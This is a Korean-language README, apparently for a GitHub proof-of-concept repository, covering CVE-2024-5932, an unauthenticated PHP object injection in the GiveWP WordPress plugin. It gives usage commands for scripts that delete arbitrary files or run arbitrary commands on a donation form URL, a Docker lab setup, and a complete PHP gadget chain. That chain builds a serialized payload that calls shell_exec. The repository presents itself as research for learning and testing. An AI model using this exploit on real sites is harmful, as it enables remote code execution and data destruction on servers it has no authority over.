
GiveWP PHP 객체 주입 익스플로잇
이 게시물은 EQSTLab이 발행한 연구 문서입니다.
현재 xmrig를 실행하는 가짜 PoC GitHub 저장소가 있습니다. 자세한 내용은 아래 링크를 확인하세요:
URL1: https://x.com/win3zz/status/1828704644987511107
URL2: https://x.com/bornunique911/status/1828712791844524453
URL3: https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 임의 파일 삭제 및 RCE PoC ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
8월 25일 : CVE-2024-5932 파일 삭제 PoC 업로드
8월 26일 : CVE-2024-5932를 사용하여 임의 명령 실행에 성공했지만, 그 영향력 때문에 공개를 고려 중입니다.
8월 27일 : RCE Security의 Julien Ahrens가 작성한 게시물에서 PoC에 대한 상세 분석을 확인하고 RCE PoC를 공개하기로 결정했습니다. 추가 RCE PoC를 CVE-2024-5932-rce.py로 업로드했습니다.
CVE-2024-5932 : GiveWP PHP 객체 삽입 취약점 설명: WordPress용 GiveWP 기부 플러그인 및 기금 마련 플랫폼은 3.14.1을 포함한 모든 버전에서 'give_title' 파라미터의 신뢰할 수 없는 입력을 역직렬화하여 PHP 객체 삽입에 취약합니다. 이로 인해 인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. 또한 POP 체인이 존재하여 공격자가 원격으로 코드를 실행하고 임의의 파일을 삭제할 수 있습니다.
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# 임의 파일 삭제
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# 원격 코드 실행
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



먼저 다음 명령어로 wordpress 셸에 접속합니다:
docker exec -it -u root docker-wordpress-1 /bin/bash
파일이 root 소유인 경우 권한 문제로 삭제되지 않을 수 있습니다. 따라서 다음 명령어로 테스트 파일의 소유권을 변경해야 합니다:
touch test && chown www-data test

PHPSTORM을 사용하여 GiveWP를 디버깅할 수 있습니다.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..그러면 wordpress를 디버깅할 수 있습니다.


이 지점에서 get_meta() 함수는 이전에 저장된 "give_title" 값을 역직렬화합니다.
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags: nullbytes 대체 -> \0 사용
stripslashes_deep: 백슬래시 대체 -> \\\\ 사용
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (명령 문자열 반환)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
POP 체인을 통해 원격 명령 실행이 가능합니다.

TCPDF를 사용하면 임의 파일 삭제를 악용할 수 있습니다.
이 저장소는 CVE-2024-5932에 대한 객체 삽입 공격을 목적으로 하지 않습니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 학습하고, 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.
저희는 매월 CVE 및 악성코드 분석을 발행합니다. 관심이 있으시면 아래 링크를 통해 발행물을 확인해 주세요. https://www.skshieldus.com/eng/business/insight.do